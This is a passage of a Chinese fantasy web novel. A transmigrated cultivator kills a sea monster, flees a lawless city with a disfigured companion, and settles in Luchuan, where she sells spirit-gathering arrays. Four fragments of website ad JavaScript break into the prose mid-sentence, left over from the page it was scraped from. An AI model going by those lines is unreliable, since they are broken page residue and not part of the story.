都不用实际出手,只需区区血肉便能将这低阶海妖震慑住。 果然,没入浪花中的海妖闻到这血腥气,仿佛被什么东西压制一般,动作迟滞,明晃晃暴露出破绽。 林见微眸光一闪,抓住这莫名其妙的空子,挟雷霆万钧迅速逼近,呼吸之间,一击震碎海妖心脉,只听哀鸣一声,眼前巨影如山崩塌,重重砸进深不见底的海中,掀起巨浪滔天。 “把尸体拖上岸!” 常潮生唇色苍白,海水已退去,但湿淋淋的布料贴在皮肤上,风一吹,遍体生寒,更别说手臂上刀口狰狞,失血过多也让人失温。 林见微闻言深呼吸一口气,压下心底的火气,几乎是榨干体内最后一丝灵力才把那山一样庞 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 然巨大的尸体捞出海面,送上岸。 “嘭——”一声,肉山砸在常潮生近旁的黑色岩石上,空中飞溅起无数碎石,震得他差点稳不住身下的轮椅,伤口盖在斗篷下,一用力便继续往外渗血。 “你!”林见微狠狠瞪着他,“你不是说这儿没有海妖吗!” “我没说过。” 林见微一顿,一回想,他好像确实没说过,愣是硬生生将怒气憋回去。 “行,你行,好样的。”她咬牙切齿,只差指着人鼻子骂,“那你要这尸体干什么!” “杀了海妖不取妖丹……你是想要把它留给别的海妖吗?”常潮生眸光平静,淡然回视,尾音上扬,带着点欠揍的意味,只差没把“嘲笑”两个字在刻在脑门上。 林见微拳头捏得嘎吱作响,深呼吸一口气平复心情,这才走到常潮生身边,手一伸,“匕首呢?给我。” 常潮生将匕首递出,林见微一蹙眉,“血哪儿来的?你受伤了?” 不等人回应,她直接掀开斗篷,看到一条血淋淋的手臂,依照伤口的形状看,明显是刀伤,顾不得其他,她忙撕下几块干布条给他草草包扎上。 “就算要死了你也不用拿刀划自己吧?” 包好伤口,林见微打结时狠狠一用力,听到常潮生痛得倒吸一口凉气才算出了这口恶气,又伸手摸向他的颈动脉,“想自裁谢罪的话要划这儿才有用。” 收回手,林见微拿着匕首转身走到海妖尸体旁。 常潮生微愣,颈侧触感冰冷,女子早已收回了手,只留沾湿的水珠还印在肌肤上,黏糊糊的,一派温柔缱绻样。 这致命之处,他毫无防备。 林见微望着眼前如山高的庞然大物,阳光一照,青黑色鳞片表面附着有水珠,闪闪发光,她艰难爬上肉山,拿着匕首便开始东戳西戳。 她对海妖的身体构造并不熟悉,原主残留的身体记忆也没有告诉她妖丹在哪儿,灵力没有恢复,更是无从探查,只弄得自己满身染血,狼狈不堪。 “再往前走三步。”常潮生实在看不下去,适时开口提醒,“沿着它心脉处的伤口向下挖。” 林见微找到方向,连忙付诸行动。 匕首锋利,也不知道割到了哪儿,一道血柱向天喷涌而出,即使她反应快,避开了大半,依旧被浇了一身。 囫囵擦去脸上的血,定睛一看,身下猩红血肉里渐渐有一处冒出幽幽蓝光,小心用匕首剖出那块珠子,手掌大小,握于掌心中,隐隐可感知到其中灵力涌动,喷薄汹涌。 “找到了!找到了!”林见微收起匕首,深一脚浅一脚踩着软乎乎的肉山向下,直至落到坚硬的黑色岩石地上,拧干被血液浸湿的衣摆才走到常潮生面前。 “快将这妖丹吸收了。” “好。”林见微没有犹豫。 永夜城这地方,没有点实力,有好东西也存不下来,只会被人典惦记,不如早早炼化,补足己身,免得夜长梦多。 更何况,他们击杀海妖时,不远处已有不少眼睛在盯着看。 5. 卯时,东渡头 吸收妖丹跟吸收天地灵气,或吸收灵石里的灵气修炼一样,蓝色珠子躺在手心,汹涌的灵力钻进林见微体内,游走于通体经脉,直到珠子上光辉彻底暗淡。 林见微睁开眼,枯竭的灵力已经完全恢复。 还有一部分灵力被存在体内,以她如今的修为暂时无法将其彻底炼化,但假以时日,也可助她突破境界。 体内灵力充沛,林见微心情也好了不少,将已失了灵力变成普通珠子的妖丹放到常潮生怀里,“这个就留着当纪念。” 说着,她没忘施法疗愈常潮生手臂上的伤口,顺带清理干净两人身上的血污和海水。 常潮生将珠子收好,解开手臂上的布条,划破的伤口已然愈合,留下一道浅浅的疤,跟其他的疤痕混在一起,狰狞分布于崎岖的皮肤上,丑陋可怖,像扭曲的爬虫。 林见微目光投向那热血还没有凉透的海妖尸体,心里默默盘算能卖多少钱,一合计,眼睛都亮了起来。 发财了发财了! 双手掐诀,海妖尸体缓缓向上浮于空中,林见微推着轮椅走得飞快,带着肉山往市场赶去,引得行人频频侧目,也跟在后面看热闹,浩浩汤汤到了交易集市。 “好大的海妖!” “这是要去哪儿?” “去集市看看……” 租了个卖肉的摊位,安顿好常潮生,林见微将肉山一放,高声吆喝,“海妖肉!现杀的海妖肉!走一走看一看!一颗下品灵石能买十斤!” “前五十人购买,另送海妖内脏啊!走过路过不要错过!” 能来市场交易的人手里多多少少都握着钱,海妖肉难得,更何况还是这么大一只海妖,林见微吆喝着,不一会儿便有人光顾。 她一把匕首愣是用出了宰肉刀的架势,在刀刃附上灵力,削铁如泥,三下五除二便将肉切割好,称重收钱,动作麻利,有条不紊。 前面干得热火朝天,常潮生也没闲着,坐在轮椅上帮忙收钱,清点核算。 一直到傍晚。 暮色四合,夕日奄奄,天边流云染上酡红。 品相好的海妖肉几乎都卖了出去,只剩下两块,一块大概十斤重,至于在打斗中被雷劈得完全不能看的部分,扔在地上,也有买不起的人丝毫不嫌弃地捡走了。 林见微揉了揉酸痛的手臂,常潮生已经清点完今日收入。 “一千零二十三块灵石,还有一些碎银和铜板。” “这么多?”林见微不可置信,将灵石收进储物袋中。 中品灵石与下品灵石之间的兑换比例是1:100,相当于他们如今已经有了十块中品灵石傍身。 气温早降下来,一阵晚风吹过,林见微一个哆嗦,总觉得有人在暗中窥伺,这可不是一个好迹象。 这永夜城,还是太凶险,最好早日离开。 她正盘算着去找那三个人贩子船公商量离开永夜城的事,谁知瞌睡来了送枕头,三人恰好吃了酒从这外城唯一的客栈里出来。 “卖海妖肉的,还有剩吗?”王老三带着两个兄弟走到摊位前。 “有有有,还剩最后两块。”林见微连忙招呼,一挥手,燃起旁边的灯。 王老三目光扫过坐在轮椅上的常潮生,忽然将眼前两人认了出来,眯了眯眼,神色莫测,“这一下午,你倒是赚了不少。” “是赚了点灵石。”林见微点头应下,不卑不亢,“所以这不,正打算去找三位行个方便,下次出海时顺道捎上我们两人。” “好说好说。”王老三哈哈笑起来,话锋一转,“只是这灵石……” “灵石好说,六块中品灵石,我现在可以先付五块,剩下一块上船时再付。”林见微拿出诚意。 毕竟在这永夜城里,王老三兄弟几个还算讲诚信,又有些实力,旁人轻易不敢招惹。 而且,怀璧其罪,如今暗处恐怕早有眼睛盯上她与常潮生,真要碰上杀人抢劫之事,她虽不一定会吃亏,但总归多一事不如少一事。 “是个痛快人!” “那还要多麻烦三位照拂。”略一拱手,林见微干脆利落付了灵石,又送上一块妖兽肉,“三位若不嫌弃便拿回去下酒吃。” “行。”王老三收了东西,“后天卯时,东渡头。” 目送三人离开,林见微稍稍松口气,掐诀清理干净租用的摊位,转身帮常潮生裹紧身上的斗篷,“风起来了,冷不冷?” “没事。” “走吧,回了!”林见微伸了个懒腰,全身关节咯吱作响,语气却兴奋,拿上最后剩下的一块海妖肉,推着常潮生往落脚的石屋走。 天色已经彻底暗下来。 今夜无月。 只有寂寥的几点星,凌乱散落于天幕上。 “太好了,终于能离开这儿了!旺财,咱们总算是熬出头了!” “等离开永夜城,我再也不穿这丑不拉几的衣服!你的腿也能有地方治了!” 林见微掐诀照亮前路,叽叽喳喳畅想未来,常潮生静静听着,风还是有些大,斗篷并不够保暖,只是听着耳畔的聒噪,身上似乎也没那么冷了。 忽然,她走着走着渐渐回过味来,只觉白天的事情有些不太对劲。 “旺财啊,你说,以我的实力……怎么就把那只海妖给杀了呢?” “白天的时候在海上,他忽然就变弱了……” 林见微脑中思绪乱飞,灵光一闪,信誓旦旦,“也不对,也可能是我变强了!” “你说,会不会,我其实不是我……我身体里还有另一个我!每次遇到危险,她就会出来……” 林见微一边说一边兴奋比划,既然穿越这种事都能轮到她,有点小小的金手指保命也不过分吧? “……” 常潮生对她稀奇古怪的想法服气,却也没有出言扫兴,反是眼睛一闭,直接装死。 两人顶着暗处窥伺的目光回到石屋,一阖上门,林见微总算能松口气。 想必他们都已看到自己将灵石交给了王老三一行人,为了剩下的灵石,还不值得他们冒险对上一个能杀死海妖的修士。 林见微将轮椅安放好,开始生火做饭。 想着后天便要离开,她也不心 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 疼院子里的菜了,直接出门薅了个干净,将肉切好,用油稍稍煎一下,二者一起炒,香味扑面。 热腾腾端上桌,算是两人来到这永夜城吃得最丰盛一顿。 “多吃点,别浪费了!”林见微不断往他碗里夹菜。 常潮生摘了面具,一张脸毁得彻底,屋内火光闪烁,眼前的人笑靥明媚,他下意识想躲进阴影中。 “快吃吧。” “你很高兴。” “当然了!你不高兴吗?等离开这破地方,天大地大,也不用再时时刻刻提心吊胆防备身边的人。” 林见微看出他兴致缺缺,忙出言安慰,“你放心,我一定带着你,等你腿好了,我们就去更远的地方,好好看看这世间的风景。” 上辈子便常常觉得不自由,到底肉体凡胎,离不开柴米油盐,又无家财万贯,如今她也是半个神仙了,自然要无拘无束,怎么自由怎么活! “当然,你沦落至于此,日后要是想去报仇之类的……我也不会拦着你。” 常潮生一怔。 报仇…… 当初他便是少年轻狂,憎恨命运不公,抱着玉石俱焚的想法孤注一掷,去报复那些欺辱过自己的人,只是到底实力不济,又轻信非人。 拼了命才得以苟活,逃了出来,后被人贩子一路倒卖,因为伤得太重,怎么也卖不出去,最后才来到这永夜城。 “你不也沦落至此?不想报仇吗?” 林见微一脸莫名,“我?那也得等我找回记忆再说吧……” 说实话,她心里也没底,万一这副身体的原主真是个什么坏事做尽的大恶人,她即便占了这身体,也做不到□□。 罢了罢了,日后的事日后再说。 常潮生不吭声,收回目光,埋头吃饭。 顶着一张容貌尽毁的脸,说话用的是假音,若有朝一日她发现自己搭救的人……就是当初亲手废了她修为将她扔来此地的人…… 思及此,握住筷子的手不由用力,吃两口他便没了胃口。 “怎么了?”林见微又向他碗里夹菜,“这海妖肉……吃起来还不错唉,要是调味品再多点就好了。” “嗯。” 酒饱饭足,林见微推着常潮生到院子里,两人洗漱一番后她将人扶上石榻,自己则合衣盘腿坐在聚灵阵中,白天吸收的那颗妖丹的灵力存储于体内,还没有被完全炼化吸收。 翌日。 林见微修炼到酣畅淋漓,愣是克制住继续修炼下去的欲望,烧火起灶,吃完饭便开始收拾屋里的东西。 “唉,不知不觉居然攒了这么多东西,看来只能留一部分了……”林见微颇有些无奈,捡来的储物袋不仅破破烂烂,它还小啊…… 果然,手里有了钱就是不一样,腰杆挺直了,都不敢想自己以前过的是什么苦日子! “对了旺财,你有没有什么想要带的东西,我给你规划规划。” “它。” “什么?”林见微定睛一看,便见常潮生手心里躺着一颗光泽暗淡的海妖妖丹,“正好,这个纪念品一定要带上!” 6. 定居路川城 林见微乐呵呵收拾东西,提笔落墨,在纸上写下“房屋出售”四个字,再将纸贴在一块木板上,将木板挂到栅栏外。 傍晚时有人来问价,她与人一番拉扯,终于定下了一个让她满意的价位,连房子带小院,和一些他们无法一起搬走的家具,统统打包出售。 买房的是一对兄妹,男子身形萧索,却挺拔如松,牵着个七八岁的小女孩前来,小女孩怯生生躲在男人身后,头上的发髻挽得凌乱,一看就是男人笨拙的手笔。 林见微一个心软,加上着急出售,也没有加价,还免费白送了两人一个聚灵阵。 翌日。 林见微兴奋得整夜睡不着,起了个大早,确认该带上的东西都已收拾妥当,将房子交给兄妹二人,推着轮椅便带着常潮生赶往东渡头。 卯时,天光已大亮。 晨起海风凛冽,空气清新,林见微推着轮椅赶到时,王老三几人正准备收锚出发,蔚蓝色海绵一碧万顷,波澜壮阔。 “快点!” “来了!”林见微加快脚步,掐诀托举着将轮椅送上渡船。 两人进入船舱内,里面已经凌乱坐了好几个同样交了灵石要离开的人,林见微目光匆匆一扫,还真让她认出几个眼熟的人。 付完剩下的一百块下品灵石,林见微找到合适的位置坐下,仍旧不敢松懈防备。 一群人挤在并不宽敞的船舱中,席地而坐,空气里都是臭烘烘的味道。 王老三将灵石嵌入法器,渡船启动,乘风而行。 海面上波涛翻涌,坐在船上并不好受,摇啊摇,摇得林见微头脑发晕,估摸着自己是要晕船了,她忙用调动灵力缓解。 期间好几次遇到海妖拦路,浪大风急,惊险万分,所幸都安稳度过。 入了夜,海面上气温更低。 在海上飘了一天一夜。 次日,天刚蒙蒙亮时,渡船航行的速度降下来,王老三进舱赶人,“起来,都起来,到了,快下船去!别耽误老子装货!” 林见微依旧头晕,摇摇晃晃顺着人群向外走,推着常潮生到甲板上,海风扑面,空气清新,她终于好受了些。 “很难受?”常潮生递上水壶。 “你不难受吗?”她见常潮生面色如常跟见了鬼一样,接过水壶猛灌一口才接着抱怨,“以后再也不坐船了……就算要坐……我也要坐头等舱!” “呵。”常潮生轻笑一声,声音蒙在面具下,总隔着点什么,瓮声瓮气的,落在林见微耳中,总觉带上撒娇的意味。 他递上干粮,“吃点东西垫垫。” “还算你有点良心。”林见微将脑子里荒唐的想法踢出去,兑着水啃梆硬的肉干,渡船停靠好,她快速推着轮椅下船。 等真真正正站到地面上,才觉得踏实了些。 渡头来来往往都是早起出海打渔的人,粗布麻衣,带着斗笠,青年男人光着膀子,挤在一起,谈笑风生,扛着打渔的工具,扯着嗓子高声呼喊被人群冲散的同伴。 海水表面笼着一层薄薄的雾气,朦朦胧胧,缥缈迷离,不知何时太阳已攀着海平面缓缓升起,金光普照,海面上金光潋滟,浮光跃金。 离渡口不远便是一个集市,穿过集市再向陆地深处走,大大小小的渔村星罗棋布,等翻过小山丘,才有一座规模不小的城池,名为路川。 王老三动作粗鲁,皱着眉驱赶,骂骂咧咧,将渡船上的人都赶下去,只留下两个兄弟守在船上,抬步便走进集市里专门买卖奴隶和仆从的地方。 人牙子各个神色不善,手里的鞭子舞得虎虎生风,噼里啪啦朝一群衣衫破烂的人身上招呼去,嘴里骂着不干不净的话,身形佝偻的“货物”面黄肌瘦,一脸恐惧,惊叫着闪避。 “啊——” “都给老子老实点!别想着跑!” 男人身材魁梧,生得一脸横肉,像驱赶猪狗一样抽打着被绳子牵着排成长队的奴隶。 走在最末尾的半大少年接连挨了好几鞭子,腿一软,倒在地上爬不起来,踉跄几次,背上已经皮开肉绽,血肉横飞,人牙子逮住空隙,撒气般又踹上一脚。 林见微实在看不过去,松开抓着轮椅的手,正欲掐诀施法。 常潮生却倏然攥住她手腕打断,手上失了分寸,用力到指节泛白,青筋毕现。 她一怔,低头看他,神色不解,“怎么了?” 常潮生眼底的笑意转冷,到最后被尽数收敛于黑森森的面具之下,松开手,“你还真是个大善人,走到哪儿都喜欢捡个人带着。” 今日是这个奴隶,昨日便是他。 说完,未等林见微反应过来,他径直转着轮椅朝前走,没入攘攘人群。 “哎——”林见微莫名,但也顾不得什么奴隶,连忙追上去,“你等等啊!怎么说走就走了!” 常潮生依旧没停下来。 心头莫名堵着一口气,看她对着随便一个人生出怜悯之心,让他觉得恼怒。 他厌恶这莫名的情绪。 “等等我!怎么说生气就生气了?”林见微三两步重新握住轮椅把手,俯下身凑近示好,“别气了,你要不要吃东西?那边有馄饨,还有阳春面!” “不用。”常潮生偏过头,远离喷洒在耳侧的灼热呼吸,脖子却红了大半。 “那好吧。”林见微推着他穿过集市,直奔山头另一边的城池去,“我们先去城里找个可以落脚的地方住下。” 她并不打算在这些靠近海岸边的渔村里辗转,凡人聚居的地方,热闹是热闹,安稳也安稳,但对于治疗腿伤毫无益处。 望山跑死马。 林见微加快脚程,用灵力推着常潮生紧赶慢赶,终于赶在中午时分进了路川城。 本想找个小摊先对付过午饭,可常潮生容貌尽毁,戴着面具,这城中人来人往,大庭广众之下以真面示人,难免招致异样的目光,她只好改了主意,先去找落脚地。 跟街边的小贩一番打听,终于推着人七拐八拐,绕进了一条巷弄。 “百家巷,走到尽头,门口挂两个灯笼的那家……”林见微喃喃,转过弯,眼前一亮,“到了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' !” 步上台阶,林见微扣动门上的铁环。 “谁啊!来了!”院子里传出来女人的声音,中气十足,几点急促的脚步声后,大门应声而开,猛然见到个一身黑衣的男人,妇女脸上立马警惕起来,“你们是?” “你就是王大婶吧,我打听到您想把院子租出去,所以……” “原来是想租院子,来来来,快进来!”王大婶松口气,脸上堆笑,将手在围裙上擦了两把,忙将院门打开将人迎进来,这才看到台阶下坐在轮椅上的常潮生。 “原来这儿还有一个。”说着,王大婶跨出门槛,几步走到台阶下,想搭把手将轮椅抬上阶梯。 林见微连忙阻止,掐诀扶着轮椅上台阶,“不用,我自己能行。” 王大婶见此忙赔礼道,“怪我这个乡野村妇没见识,差点冒犯了仙长。” “没事。”林见微并不在意,“我们初到此地,很多事不了解,有些还需向你打听打听。” “是,是,二位快进来吧。” 王二婶带着两人在院子里转了一圈,院中还堆了不少杂物,最后引人到屋里,顺道提了一嘴租金和押金。 “这儿的房间刚收拾出来,院子还没来得及打扫,让两位仙长见笑了。往日我与家里那口子和孩子住在隔壁院子,平日里不常来这儿。” 林见微扫视一圈,院子里虽然乱了点,但不是什么大问题,总体还算让她满意,尤其这院子宽敞,屋内的陈设也完整,家具齐备,租金也不高。 “那,两位仙长想租吗?” “你看呢?”林见微转头问常潮生的意见。 “随你。” “好,这儿我们租下了。”林见微不再犹豫,利落付了押金和半年租金。 “好好,再等一会,我马上将这儿收拾出来。”王大婶收了钱,心里的石头顿时落地,“等两日我们再签字画押,也好有个凭证。” “好。”林见微点头,“院里我自己收拾,日后在这儿长住还会添置些东西。” “好好好,都好说。”王大婶连连点头。 “对了,这城中可有修士开的药铺?” 王大婶闻言面露难色,还是据实以告,“咱这儿穷乡僻壤的,哪里有仙人肯常驻?但城东那边常有仙人走动,您可以去看看。” “好。” 林见微知道事情急不得,只摆摆手,转身推着轮椅进了房间。 王大婶掂了掂手里的钱袋子,心里的大石头总算落地,转身风风火火推开院门出去,恰好撞见平日里相熟的几个姐妹。 “王妹子,家里的院子这么快就租出去了?” “是啊,里面可住了两个仙长嘞!” “这可了不得,你家那口子说不定有救了。” “行了行了,我还得回去看看!” 说完,王大婶便风风火火推门进了自家的院子。 林见微掐诀清扫过屋中的浮尘,将常潮生扶上床,推开窗,阳光洒进来,顿觉心情明媚,又将储物袋里的生活物品全拿出来整理好。 7. 小赚一笔 最后如释重负一般,将贴在脸上的络腮胡子一扯,三两下脱下外衣换回女装。 常潮生急忙闭眼,语气恼怒,“你做什么!” “怎么了?当然是换衣服。”林见微这才看到他闭上了眼,笑意盈盈,三两步到人跟前,弯下腰凑近,语气轻佻,“咱们俩谁跟谁,你害羞什么?” 常潮生手忙脚乱操纵轮椅后退,面具之下已脸色爆红。 “好了,不逗你了。”林见微直起身,“想吃什么?我出去买。” “随便。” “行行行,随便。”林见微笑着转身推门出去,身影一晃便到了街上。 忙碌这么大半天,她早饥肠辘辘,也没走太远,只在街边的馄饨摊打包了两碗馄饨,连汤带碗放进储物袋中,便回到百家巷,刚到院门前,恰好碰到房东大婶提着食盒从隔壁院子出来。 正要推开院门进去,王大婶一脸狐疑打量起她。 “姑娘你是?” 林见微抿唇一笑,压低了嗓子,变作之前的男声,惟妙惟肖,“是我啊。” 王大婶闻言,脸上的神色变了又变,惊疑不定,张大嘴半天没发出声音。 “你别多想……”林见微汗颜,生怕对方把她当成了什么爱好女装的怪人,忙用女声开口解释,“之前一路颠沛,出门在外,怕惹上麻烦才以男装示人。” “啊,你,你是个姑娘啊。”王大婶回过神来也有些不好意思,开口找补,“是,是,姑娘生得俊俏,出门在外是要小心些。” 林见微注意到王大婶手上提的食盒,“大婶你这是……” “哦哦,我看你二人路上奔波,想必也没来得及吃饭,正想送点过来。” “那多谢大婶的好意了。”林见微没有推辞。 “都是些粗茶淡饭,仙子不嫌弃就好。”王大婶将食盒放在案几上,“那就不打扰了,碗筷一会儿我让阿牛来取。” “好。” 林见微打开食盒,将米饭和炒菜端上桌,放在储物袋里的馄饨还热乎,摆上筷子,招呼常潮生赶快吃饭。 “天冷了,你快趁热吃。” 常潮生解开斗篷,身形消瘦,衣服不够保暖,入秋之后每起寒风都是一阵哆嗦,摘下面具,容貌让人不忍直视。 “快入冬了,你没有灵力傍身,一会儿我出去买些冬衣和棉被回来,炭火也要提前准备好……”林见微掰着指头细数需要花钱的地方,越数越觉得手里的钱不够用。 忽然,她抬眸看向常潮生,“对了,你以前好像会很多法术,所以到底是什么人?怎么会被卖到永夜城?” 常潮生身形一顿,下意识攥紧手中的筷子,匆忙垂下眸光,头也不抬,一口一口咽下嘴里的馄饨,不发一言。 “怎么了?”林见微神色疑惑,“不方便说?” “我都说了自己没有从前的记忆,也跟什么宗门啊,世家啊之类的势力没关系,相处这么久,你居然连名字都不肯说。” 常潮生依旧不做反应。 林见微轻叹一口气,也不再为难他,“算了算了,不说就不说吧,旺财这个名字也挺好听的,快多吃点。” 到这时,常潮生紧绷的神经才松懈下来。 吃过饭。 林见微正想收拾碗筷,常潮生先主动将活儿揽了过来,“我来吧。” “行,等过段时间我找人将屋里的摆设和家具重新装修一下,方便你坐轮椅行动,无聊的时候也能出门散散心。” 常潮生微愣,心头一颤,只觉一阵酥麻的痒意顺着脊柱向上流窜到脖颈,让人不住一个哆嗦。 他知道林见微一向行动力强,说风便是雨,做事也不拖拉,恐怕是早就考量好了这些。 收拾好碗筷,林见微嘱咐了他几句才出门将餐具送还给王大婶一家和馄饨摊摊主,然后直奔城东去。 路川城迎面是海,背面是山,气候适宜,物产丰饶,长街上人来人往,好不热闹,巷弄之间小孩儿跑来跑去,追狗撵鸡,打闹成一片。 林见微满脸新奇,混在人群里左看右看,贩夫走卒,人间百态,遇到吆喝叫卖的她也会凑上前去看看,一路上顺手添置了一大堆东西。 给常潮生的冬衣,新的厚被褥,过冬的炭火,茶叶,糕点,各种调味品,新鲜的蔬菜、海鲜……统统装进储物袋中。 还给自己订了一套新襦裙,选了艳丽的颜色,更衬得她姿容无双,裁衣织布的绣娘围着她夸了又夸,直把林见微夸得不好意思。 好不容易抽身而出,这才到了城东。 路上跟人几番打听,终于找到了那传说中有仙人往来的“万宝阁”,林见微站在门口,抬头一看,牌匾挂得端正,字体大气磅礴,别说,不愧是修士活动的地方,真比别的店面气派不少。 只是她好歹也是进入过永夜城内城见过世面的人,远远望看过那些金堆玉砌的高楼,穷奢极欲,自然不会被这地方唬住。 抬步跨进门槛。 站在柜台后的青年修士招呼道,“小友来这儿想交易什么?” 林见微目光扫过,店内打扫得干净,几乎一尘不染,装潢雅致,光线和通风都好,香炉里冒出白烟袅袅,还能闻到淡淡的檀香。 “这些。”她从袖口取出一张纸展开,“有吗?” 虽然在永夜城混迹那么久,但她对什么草药、丹药之类的依旧不算了解,这纸上的东西还是常潮生写的。 “连筋草、塑骨藤……”青年修士扫过纸上的文字,“有是有,但没有纸上写的这么多。” “那有多少?” 修士转身从内间取出四个匣子,摆上柜台,一一揭开盖子,“东西都在这儿,一共两颗中品灵石。” “两颗?这么多?”林见微一惊,暗道不愧是仙凡有别,她今日付押金和房租加上满大街采买,也只花出去了些金银,谁知来这万宝阁一趟,直接让钱包大出血。 “道友大可去外边问问,到哪儿都是这么个价。” “行吧。”林见微见人一脸真诚,也只能掏钱,“对了,在下初来此地,万事都不熟悉,日后还要多买这些草药,总不能坐 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吃山空,道友可有什么赚灵石的门路?” 青年修士了然,“万宝阁也收些灵植、丹药、妖兽之类的,若你能弄到大可以到这儿来换灵石。” “还有呢?”林见微蹙眉思考。 灵植,她不太认识,暂时也不知道去哪儿采摘……如果有种子的话,或许可以试着种一些……至于丹药,根本不会炼,不用想了。妖兽的话,太危险,也不知道去哪儿抓…… 毕竟上次杀海妖的经历她还没忘,她可不信自己次次都能有那日的好运气,偏碰上一个上赶着来送经验的妖兽。 青年修士接着说,“若这附近城池里有邪物妖怪作祟,前去铲除,人间官府也会给些灵石做酬谢。” “嗯,还有吗?”林见微声音弱下来,难得有些不好意思。 “还有……”青年修士似乎被问住了,“有了!若你会画符、画阵、炼器之类的,咱们这儿也能……” “这个可以!”终于听到了个自己勉强了解的领域,林见微语气激动,“那画聚灵阵可以吗?” “什么?”青年修士一脸错愕,肃然起敬,“聚,聚灵阵?你会画聚灵阵?” “怎,怎么了?” “是在下眼拙了。”修士忙从柜台后出来,拱手行礼,“道友离开师门,下山历练到此,万宝阁地小,也没什么好招待的……让道友见笑了。” 林见微不知道对方给自己脑补了个什么厉害的背景,却也没否认,笑着问道,“那我画一个聚灵阵你们能给多少灵石?” 青年修士神色纠结,“这阵法也有好有坏,不知道友……师承何人?” “有好有坏,我画出来让你们看看不就好了?师父为人低调,怕我学艺不精出门丢了他的面子,道友还是别问了。” “是是。”青年修士连连点头,抬手将林见微引进内间,“那麻烦道友先在这儿绘阵,我去告知大掌柜一声,等画好了再让我们进屋查验。” “行。”林见微点头应下。 房门合上,林见微蹲在地上开始画起聚灵阵,手下动作不停,心里也嘀咕,没想到旺财当真来历不凡,不过随随便便教她一个阵法,居然这么厉害? 停笔收手,阵法已成,天地灵气一时震荡,林见微阖上眼细细感受,仿佛能感知到灵气如水流动,一点点洗涤沉而浊的躯体。 “叩叩叩——” “道友,聚灵阵画完了吗?” “好了。”林见微打开房门,站在门口的两人早感知了这一处灵力浓郁,伸长了脖子想朝里面看,她忙侧开身放人进屋。 “好,好啊!”大掌柜一脸惊喜,挺着啤酒肚笑得牙不见眼,完全忘了作为商人该有的市侩和矜持,“姑娘,哦不,道友,不知道道友如何称呼?这聚灵阵你想怎么卖?” “我姓林,至于怎么卖,掌柜的看着给就行,日后若有需要,还能继续合作。” “好,好!”大掌柜身形看着臃肿,动作却灵活,三两步踏进阵法中,细细感受一番,果真灵气充沛,若能呆在里面修炼……就是死了也值了! 8. 口角之争 他们久居路川这么一座名不见经传的偏僻小城,如今也是碰上了尊大佛! “这么一个聚灵阵可以用三个月……我们付五颗中品灵石,林道友意下如何?若能接受,便再多画些用阵盘存下来。” “可以。”林见微点头应下,“万宝阁我会常来光顾,添置物品,若需要找什么东西,还望二位能帮帮忙。” “好说好说!都好说!” 事情谈妥。 林见微又画了三个符阵,收下灵石,在万宝阁转一圈,一口气低价买了不少书,杂七杂八,全是关于修炼的,什么路子的都有,多是些入门的基础内容,正好方便她恶补这方面的知识。 掌柜的看了也没多问,乐呵呵打包好东西亲自将人送出门。 回到百家巷已经是傍晚。 巷子里几条大黄狗暗中悄悄观察,时不时吠叫两声,小孩儿都被大人叫回去家,林见微推开院门,“我回来啦!” 院里一片寂静,只屋内燃着灯。 她快步推门进屋,常潮生手中笔墨一顿,转头看她,眼中带笑,“出去了这么久?” “当然。”林见微忙将这一路买来的东西一一取出来收拾妥当,“城东有家万宝阁,我在那儿买到了你要的草药。” “灵石够花吗?” “当然,我给他们画一个聚灵阵,他们还要倒给我五颗中品灵石。” 常潮生一怔,“你偷师学艺的本事倒是不小。” “话不能这么说……明明是你自己教我的?”林见微拿着新买的衣服在他身上比划,“再说了,你这个人都是我买回来的,日后,你的就是我的,我的……还是我的!” 常潮生并未反驳,只是任由她摆弄。 冬衣剪裁出乎意料地合身,布料柔软厚实,拢在身上,寒意不近身,稍微活动一下还会热得发汗。 吃过饭,林见微将常潮生安置好才回到自己的房间。 忙碌一天,神经绷得紧紧的,纵使她有灵力傍身,此刻也吃不消,脱了外袍往床上一趟,闭眼就是睡。 一晃三月过。 林见微早早就将院子收拾出来,重新打造了适合常潮生坐轮椅活动的家具,修缮了院子里的路面,还向王大婶打听过,在院里种了好些适合本地气候的蔬菜和花草。 路川城靠南,即使入了冬也依旧有草木青翠茂盛。 唯一美中不足是南方靠海,海风送来潮气,晾在院里的被褥总是潮润润的,但施个法诀也能烘干,倒不是什么大问题。 常潮生腿伤得重,她不知道跑了多少趟万宝阁,聚灵阵画了一个接一个,灵石如流水一般花出去,用灵植配合法诀帮助其一点点修复碎裂的骨头,过程痛不欲生。 凡人之躯,愣是硬生生抗下,疼得满头大汗也一声不吭。 骨头碎裂太严重,治疗了三个月他依旧没办法站起来走动,但撑着拐杖也能勉强下地,只是无法站立太长时间。 林见微也忙得不可开交。 每天两眼一睁就是给常潮生治腿,以及钻研那些从万宝阁买来的功法秘籍,练习各种效果奇奇怪怪的法诀,什么都接触一点,东一榔头西一棒槌,常潮生偶尔也会指点一两句。 每天两眼一闭,就是坐在聚灵阵里修炼。 前不久,她刚从万宝阁带回来一批灵植种子,都是低阶灵植,回到院里,照着《修界灵植培养法诀大全》尝试催发,还真让她成功了。 自此,她打开了新世界的大门。 学什么都学得一知半解,但就是敢直接上手,时不时在院子里弄出些动静,吓得趴在巷子里的狗汪汪大叫,一开始王大婶还会来问问情况,后面也渐渐习惯了,连狗听了声响都没什么反应。 是日。 天近傍晚。 已是冬末,天空灰蒙蒙一片,海上风平浪静,城里却不平静,年关将近,街上行人摩肩接踵,四处张灯结彩,吆喝叫卖声传遍大街小巷。 林见微买了一堆蕴含稀薄灵气的土,准备带回去种植灵植用,不巧,储物袋没有收拾出来,里面的东西装得满满当当,实在没有空余。 本想直接扛着走回去,反正有灵力傍身,她也不累,但那日在万宝阁接待她的青年修士执意要送她一程,盛情难却,正好也想与人探讨些修炼上的问题,便同路而行。 两人谈笑风生,朝百家巷去。 “林道友当真是涉猎甚广。” 林见微笑笑,“李道友也不差,日后还有相互切磋学习的地方。” 